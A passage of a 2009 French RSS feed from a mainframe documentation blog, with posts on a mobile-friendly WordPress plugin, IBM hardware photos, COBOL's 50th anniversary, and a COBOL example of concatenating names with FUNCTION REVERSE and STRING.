		<title>Blog compatible IPhone, IPod Touch et Android</title>
		<link>http://documentation-mainframe.net/blog/blog-compatible-iphone-ipod-touch-et-android</link>
		<comments>http://documentation-mainframe.net/blog/blog-compatible-iphone-ipod-touch-et-android#comments</comments>
		<pubDate>Fri, 10 Jul 2009 23:56:39 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=352</guid>
		<description><![CDATA[En plus d&#8217;être passé à la v2.8.1 de Wordpress cette nuit, j&#8217;ai rajouté le plugin WPtouch, qui permet de rendre compatible ce blog sous Iphone, Ipod Touch et Android.
Du coup, un affichage beaucoup plus rapide (presque 2x en Edge et 3G) depuis votre Iphone.
Le résultat en image :



Article de Guillaume Ventre publié sur Documentation Mainframe, [...]]]></description>
			<content:encoded><![CDATA[<p>En plus d&#8217;être passé à la v2.8.1 de Wordpress cette nuit, j&#8217;ai rajouté le plugin <a title="WPtouch" href="http://www.bravenewcode.com/wptouch/">WPtouch</a>, qui permet de rendre compatible ce blog sous Iphone, Ipod Touch et Android.</p>
<p>Du coup, un affichage beaucoup plus rapide (presque 2x en Edge et 3G) depuis votre Iphone.</p>
<p>Le résultat en image :</p>
<p><img class="aligncenter size-full wp-image-353" title="Accueil" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/IMG_0544.PNG" alt="Accueil" width="320" height="480" /></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-354" style="margin-top: 20px;" title="Catégories" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/IMG_0547.PNG" alt="Catégories" width="320" height="480" /><img class="aligncenter size-full wp-image-355" style="margin-top: 20px;" title="Menu" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/IMG_0546.PNG" alt="Menu" width="320" height="480" /><img class="aligncenter size-full wp-image-356" style="margin-top: 20px;" title="Article" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/IMG_0549.PNG" alt="Article" width="320" height="480" /><img class="aligncenter size-full wp-image-357" style="margin-top: 20px;" title="Commentaires" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/IMG_0550.PNG" alt="Commentaires" width="320" height="480" /></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 11/07/2009. |
<a href="http://documentation-mainframe.net/blog/blog-compatible-iphone-ipod-touch-et-android">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/iphone" rel="tag">iphone</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=SHXc9NE_43A:LCQg0E9tt4s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=SHXc9NE_43A:LCQg0E9tt4s:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/blog-compatible-iphone-ipod-touch-et-android/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back to the future</title>
		<link>http://documentation-mainframe.net/autres/back-to-the-future</link>
		<comments>http://documentation-mainframe.net/autres/back-to-the-future#comments</comments>
		<pubDate>Wed, 08 Jul 2009 23:15:39 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[old school]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=337</guid>
		<description><![CDATA[Sources : Computer History Museum

Article de Guillaume Ventre publié sur Documentation Mainframe, le 09/07/2009. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: fun, old school
]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.computerhistory.org/" target="_blank"><img class="     " style="margin-top: 20px;" title="IBM 360" src="http://archive.computerhistory.org/resources/still-image/IBM/IBM_360/ibm_360.2men_at_workstation.102635891.lg.jpg" alt="IBM 360" width="500" height="375" /></a>
<p class="wp-caption-text">Two men working at an IBM 360 workstation</p>
</div>
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.computerhistory.org/" target="_blank"><img class=" " style="margin-top: 20px;" title="IBM 7030" src="http://archive.computerhistory.org/resources/still-image/ibm/IBM_7030_Stretch/IBM.7030.1963.102640259.lg.jpg" alt="IBM 7030" width="500" height="389" /></a>
<p class="wp-caption-text">IBM 7030 &quot;The Stretch&quot; Data Processing System</p>
</div>
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.computerhistory.org/" target="_blank"><img class="  " style="margin-top: 20px;" title="Printing Card Punch" src="http://archive.computerhistory.org/resources/still-image/ibm/IBM_Card_Computing/IBM.CardComputing.19xx.102645450.lg.jpg" alt="IBM Type 26 Printing Card Punch, 1949" width="500" height="390" /></a>
<p class="wp-caption-text">IBM Type 26 Printing Card Punch, 1949</p>
</div>
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.computerhistory.org/" target="_blank"><img class=" " style="margin-top: 20px;" title="IBM Punch Card Storage Area" src="http://archive.computerhistory.org/resources/still-image/ibm/IBM_Card_Computing/IBM.CardComputing.19xx.102645452.lg.jpg" alt="IBM Punch Card Storage Area" width="500" height="390" /></a>
<p class="wp-caption-text">IBM Punch Card Storage Area</p>
</div>
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.computerhistory.org/" target="_blank"><img class=" " style="margin-top: 20px;" title="Card punch department" src="http://archive.computerhistory.org/resources/still-image/ibm/IBM_Card_Computing/IBM.CardComputing.19xx.102645821.lg.jpg" alt="IBM Card Punch Office" width="500" height="396" /></a>
<p class="wp-caption-text">IBM Card Punch Office</p>
</div>
<div class="wp-caption aligncenter" style="width: 374px"><a href="http://www.computerhistory.org/" target="_blank"><img class="   " style="margin-top: 20px;" title="3380D DASD (Direct Access Storage Device) " src="http://archive.computerhistory.org/resources/physical-object/ibm/X1640-99CQ.lg.jpg" alt="3380D DASD (Direct Access Storage Device)" width="364" height="500" /></a>
<p class="wp-caption-text">3380D DASD (Direct Access Storage Device), 1985</p>
</div>
<p>Sources : <a href="http://www.computerhistory.org/" target="_blank">Computer History Museum</a></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 09/07/2009. |
<a href="http://documentation-mainframe.net/autres/back-to-the-future">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/fun" rel="tag">fun</a>, <a href="http://documentation-mainframe.net/tag/old-school" rel="tag">old school</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=RQLaNF9K9QQ:hYfJO_oRT4E:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=RQLaNF9K9QQ:hYfJO_oRT4E:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/autres/back-to-the-future/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>50 ans de COBOL</title>
		<link>http://documentation-mainframe.net/cobol/50-ans-de-cobol</link>
		<comments>http://documentation-mainframe.net/cobol/50-ans-de-cobol#comments</comments>
		<pubDate>Mon, 29 Jun 2009 21:00:48 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Cobol]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=328</guid>
		<description><![CDATA[http://www.cobol.com/

Article de Guillaume Ventre publié sur Documentation Mainframe, le 29/06/2009. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: Cobol, fun, web
]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 107px"><a href="http://www.cobol.com"><img class=" " style="margin-top: 20px;" title="COBOL@50" src="http://www.cobol.com/wp-content/themes/cobol/images/cobollogo.png" alt="50 ans de COBOL" width="97" height="108" /></a>
<p class="wp-caption-text">COBOL a 50 ans</p>
</div>
<p><a href="http://www.cobol.com/">http://www.cobol.com/</a></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 29/06/2009. |
<a href="http://documentation-mainframe.net/cobol/50-ans-de-cobol">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/cobol" rel="tag">Cobol</a>, <a href="http://documentation-mainframe.net/tag/fun" rel="tag">fun</a>, <a href="http://documentation-mainframe.net/tag/web" rel="tag">web</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=kPY9bdb7Npo:fouiZ1bYY6M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=kPY9bdb7Npo:fouiZ1bYY6M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/cobol/50-ans-de-cobol/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exemple d’utilisation de la fonction REVERSE</title>
		<link>http://documentation-mainframe.net/cobol/exemple-dutilisation-de-la-fonction-reverse</link>
		<comments>http://documentation-mainframe.net/cobol/exemple-dutilisation-de-la-fonction-reverse#comments</comments>
		<pubDate>Tue, 19 May 2009 17:15:33 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Cobol]]></category>
		<category><![CDATA[concaténation]]></category>
		<category><![CDATA[string]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=309</guid>
		<description><![CDATA[On m&#8217;a soumis récément un problème qui me semblait simple mais ne l&#8217;était pas tant que ça :
Dans un programme COBOL, comment concaténer un nom en PIC X(32) et un prénom en PIC X(32) dans un champ résultant en PIC X(32), sachant que le nom ou le prénom peuvent être composés d&#8217;1 ou plusieurs mots [...]]]></description>
			<content:encoded><![CDATA[<p>On m&#8217;a soumis récément un problème qui me semblait simple mais ne l&#8217;était pas tant que ça :</p>
<p>Dans un programme COBOL, comment concaténer un nom en PIC X(32) et un prénom en PIC X(32) dans un champ résultant en PIC X(32), sachant que le nom ou le prénom peuvent être composés d&#8217;1 ou plusieurs mots séparés par un espace et qu&#8217;en cas de troncature dans le champ résultant le nom prime.</p>
<p>Bouaaahhh! Facile! Avec une boucle lettre par lettre est un INSPECT qui va bien on doit pouvoir faire ça rapidos.</p>
<p>Je me suis amusé et bien c&#8217;etait pas jojo à voir!</p>
<p>C&#8217;est <a title="unstring et string" href="http://www.developpez.net/forums/d658462/autres-langages/autres-langages/cobol/as-400-unstring-string/#post3868254">Homer-ac sur ce billet du forum Cobol de DVP</a> qui m&#8217;a donné la piste du code final que voilà :</p>
<blockquote><p>       <br />
WORKING-STORAGE SECTION.<br />
01 W-CPT           PIC S9(4) COMP.<br />
01 W-LONG-NOM         PIC S9(4) COMP.<br />
01 W-NOM           PIC X(32).<br />
01 W-NOM-REV          PIC X(32).<br />
01 W-PRENOM        PIC X(32).<br />
01 W-NOMPREN        PIC X(32).<br />
 <br />
PROCEDURE DIVISION.<br />
 <br />
INITIALIZE W-NOM W-NOM-REV W-PRENOM W-NOMPREN.<br />
 <br />
IF W-NOM NOT = SPACE<br />
  MOVE FUNCTION REVERSE(W-NOM) TO W-NOM-REV<br />
  MOVE 0  TO W-CPT<br />
  INSPECT  W-NOM-REV TALLYING W-CPT FOR LEADING<br />
&nbsp;&nbsp;&nbsp;&nbsp;SPACE<br />
  SUBTRACT W-CPT FROM LENGTH OF W-NOM-REV GIVING<br />
      W-LONG-NOM<br />
END-IF.<br />
 <br />
STRING W-NOM(1:W-LONG-NOM) SPACE W-PRENOM<br />
&nbsp;&nbsp;DELIMITED BY SIZE INTO W-NOMPREN<br />
END-STRING.</p></blockquote>
<p>La fonction REVERSE permet d&#8217;inverser l&#8217;ordre de la donnée, les blancs de fin passent alors en première position, l&#8217;INSPECT TALLYING compte le nombre d&#8217;espace consécutif en début de chaîne, nombre qu&#8217;il suffit de soustraire à la longueur de la picture &#8220;nom&#8221; pour obtenir la position du premier espace à la fin de ce nom. Il suffit ensuite de concaténer nom et prénom avec STRING sans omettre d&#8217;indiquer la &#8220;portion&#8221; de nom qui doit être concaténer.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 19/05/2009. |
<a href="http://documentation-mainframe.net/cobol/exemple-dutilisation-de-la-fonction-reverse">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/cobol" rel="tag">Cobol</a>, <a href="http://documentation-mainframe.net/tag/concatenation" rel="tag">concaténation</a>, <a href="http://documentation-mainframe.net/tag/string" rel="tag">string</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JqegH1tdCpM:TpGNStYljB0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JqegH1tdCpM:TpGNStYljB0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/cobol/exemple-dutilisation-de-la-fonction-reverse/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
